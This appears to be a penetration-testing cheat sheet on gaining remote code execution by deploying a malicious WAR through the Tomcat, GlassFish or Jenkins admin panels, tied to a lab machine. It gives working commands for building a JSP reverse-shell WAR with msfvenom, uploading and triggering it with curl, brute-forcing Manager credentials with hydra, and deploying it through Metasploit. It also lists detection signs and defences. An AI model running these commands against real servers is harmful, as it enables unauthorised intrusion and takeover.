WAR deploy in Tomcat/GlassFish/Jenkins
Java application servers (Apache Tomcat, Oracle GlassFish, Payara, Jenkins) accept by design WAR file deploys from their admin panel. A WAR containing a JSP shell is immediate RCE: the JSP runs in the service context.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war > shell.warDeploy varies by server:
- Tomcat Manager:
PUT /manager/text/deploy?path=/shell&war=file:/tmp/shell.war(or UI at/manager/html). - GlassFish 4848:
Applications > Deploy > Local Packaged File. - Jenkins Script Console: WAR alternative, runs Groovy directly.
In practice, with the Manager credentials the deploy is a direct curl:
# Tomcat: upload and deploy the WAR with the Manager credentials
curl -u <user>:<pass> -T shell.war "http://<ip>:8080/manager/text/deploy?path=/shell&update=true"
curl "http://<ip>:8080/shell/" # triggers the JSP -> reverse shell
curl -u <user>:<pass> "http://<ip>:8080/manager/text/undeploy?path=/shell" # clean upFirst you need those credentials, almost always default or weak:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \
-s 8080 <ip> http-get /manager/html
msfconsole -q -x "use multi/http/tomcat_mgr_upload; set RHOSTS <ip>; run" # uploads+deploysVisiting /shell/ (or the chosen path) starts the JSP and the reverse lands as the service user. On Windows that is typically LocalSystem/SYSTEM; on Linux it depends on the package (tomcat, glassfish, or root on manual installs).
Nuances. Many panels bind localhost only: combine with port forwarding (chisel, ssh -L) from a local pivot. Default credentials for these panels (tomcat/tomcat, empty-password admin in GlassFish, admin/admin in fresh Jenkins) are still valid more often than expected.
How to detect it. The deployment leaves a clear trail: a PUT/POST request to /manager/text/deploy or /manager/html/upload followed by a new .war in webapps/ and a child process of the Java service (cmd.exe, /bin/sh) that should not exist. In the access logs a successful deploy answers 200 - Deployed; brute-force attempts against the Manager show up as a burst of 401 on /manager/.
Defence. Disable Manager/Deployer in production, restrict the panel to localhost behind an authenticated reverse proxy, force long credentials and MFA. In regulated environments, run Java as a dedicated unprivileged user (tomcat with seccomp/AppArmor).
Machines where it's used
- FishProving Grounds Practice